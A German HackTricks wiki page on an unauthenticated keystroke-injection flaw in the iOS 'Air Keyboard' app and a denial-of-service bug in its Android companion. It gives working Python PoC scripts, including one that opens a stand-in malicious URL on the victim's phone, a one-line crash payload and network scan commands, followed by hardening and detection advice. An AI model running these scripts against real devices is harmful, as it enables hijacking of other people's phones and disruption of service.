Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
TL;DR
Die iOS-Version der kommerziellen „Air Keyboard“-Anwendung (App Store ID 6463187929) bietet einen Dienst im lokalen Netzwerk an, der Tastatureingaben ohne jegliche Authentifizierung oder Herkunftsüberprüfung akzeptiert. Je nach installierter Version ist der Dienst entweder:
- ≤ 1.0.4 – roter TCP-Listener auf Port 8888, der einen 2-Byte-Längenheader erwartet, gefolgt von einer device-id und der ASCII-Nutzlast.
- ≥ 1.0.5 (Juni 2025) – WebSocket-Listener auf dem gleichen Port (8888), der JSON-Schlüssel wie
{"type":1,"text":"…"}
analysiert.
Jedes Gerät im selben Wi-Fi / Subnetz kann daher willkürliche Tastatureingaben in das Telefon des Opfers injizieren und vollständige Remote-Interaktionsübernahme erreichen. Eine begleitende Android-Version hört auf Port 55535. Sie führt einen schwachen AES-ECB-Handshake durch, aber gestalteter Müll verursacht dennoch eine nicht behandelte Ausnahme in OpenSSL, die den Hintergrunddienst zum Absturz bringt (DoS).
Die Schwachstelle ist zum Zeitpunkt des Schreibens (Juli 2025) noch nicht gepatcht und die Anwendung bleibt im App Store verfügbar.
1. Dienstentdeckung
Scannen Sie das lokale Netzwerk und suchen Sie nach den beiden festen Ports, die von den Apps verwendet werden:
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
Auf Android-Geräten können Sie das verantwortliche Paket lokal identifizieren:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
Auf jailbroken iOS können Sie etwas Ähnliches mit lsof -i -nP | grep LISTEN | grep 8888
tun.
2. Protokolldetails (iOS)
2.1 Legacy (≤ 1.0.4) – benutzerdefinierte binäre Frames
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
Die deklarierte Länge umfasst das device_id
Byte aber nicht den zweibyte Header selbst.
2.2 Aktuell (≥ 1.0.5) – JSON über WebSocket
Version 1.0.5 wurde stillschweigend auf WebSockets migriert, während die Portnummer unverändert blieb. Ein minimaler Tastendruck sieht aus wie:
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
Kein Handshake, Token oder Signatur ist erforderlich – das erste JSON-Objekt löst bereits das UI-Ereignis aus.
3. Ausnutzung PoC
3.1 Zielgerichtet ≤ 1.0.4 (raw TCP)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 Zielgerichtet ≥ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
Jeder druckbare ASCII — einschließlich Zeilenumbrüche, Tabs und den meisten Sondertasten — kann gesendet werden, was dem Angreifer die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, bösartige URLs öffnen, Einstellungen umschalten usw.
4. Android Companion – Denial-of-Service
Der Android-Port (55535) erwartet ein 4-Zeichen-Passwort, das mit einem fest codierten AES-128-ECB-Schlüssel verschlüsselt ist, gefolgt von einem zufälligen Nonce. Parsing-Fehler steigen zu AES_decrypt()
auf und werden nicht abgefangen, was den Listener-Thread beendet. Ein einzelnes fehlerhaftes Paket reicht daher aus, um legitime Benutzer bis zum Neustart des Prozesses getrennt zu halten.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. Verwandte Apps – Ein wiederkehrendes Anti-Muster
Air Keyboard ist kein Einzelfall. Andere mobile „Remote-Tastatur/Maus“-Hilfsprogramme haben denselben Fehler:
- Telepad ≤ 1.0.7 – CVE-2022-45477/78 erlauben nicht authentifizierte Befehlsausführung und Klartext-Tastatureingabeprotokollierung.
- PC Keyboard ≤ 30 – CVE-2022-45479/80 nicht authentifizierte RCE & Verkehrsschnüffeln.
- Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 standardmäßig kein Passwort, schwache PIN-Brute-Force und Klartext-Leckage.
Diese Fälle heben eine systematische Vernachlässigung der netzwerkseitigen Angriffsflächen in mobilen Apps hervor.
6. Grundursachen
- Keine Herkunfts-/Integritätsprüfungen bei eingehenden Frames (iOS).
- Kryptografischer Missbrauch (statischer Schlüssel, ECB, fehlende Längenvalidierung) und fehlende Ausnahmebehandlung (Android).
- Vom Benutzer gewährte Local-Network-Berechtigung ≠ Sicherheit – iOS fordert zur Laufzeit die Zustimmung für LAN-Verkehr an, ersetzt jedoch keine ordnungsgemäße Authentifizierung.
7. Härtungs- & Abwehrmaßnahmen
Entwicklerempfehlungen:
- Binden Sie den Listener an
127.0.0.1
und tunneln Sie über mTLS oder Noise XX, wenn Fernsteuerung erforderlich ist. - Leiten Sie geräteabhängige Geheimnisse während der Onboarding-Phase ab (z. B. QR-Code oder Pairing-PIN) und erzwingen Sie gegenseitige Authentifizierung, bevor Eingaben verarbeitet werden.
- Übernehmen Sie das Apple Network Framework mit NWListener + TLS anstelle von Roh-Sockets.
- Implementieren Sie Längen-Präfix-Sanity-Checks und strukturierte Ausnahmebehandlung beim Entschlüsseln oder Dekodieren von Frames.
Blue-/Red-Team schnelle Erfolge:
- Netzwerksuche:
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16
oder Wireshark-Filtertcp.port == 8888
. - Laufzeitanalyse: Frida-Skript, das
socket()
/NWConnection
hookt, um unerwartete Listener aufzulisten. - iOS App Datenschutzbericht (Einstellungen ▸ Datenschutz & Sicherheit ▸ App Datenschutzbericht) hebt Apps hervor, die LAN-Adressen kontaktieren – nützlich zum Erkennen von bösartigen Diensten.
- Mobile EDRs können einfache Yara-L-Regeln für die JSON-Schlüssel
"selectionStart"
,"selectionEnd"
innerhalb von Klartext-TCP-Nutzlasten auf Port 8888 hinzufügen.
Erkennungs-Spickzettel (Pentester)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
Referenzen
- Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection
- Mobile-Hacker Blog (17. Juli 2025) – Remote Input Injection-Sicherheitsanfälligkeit in der Air Keyboard iOS App weiterhin ungepatcht
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.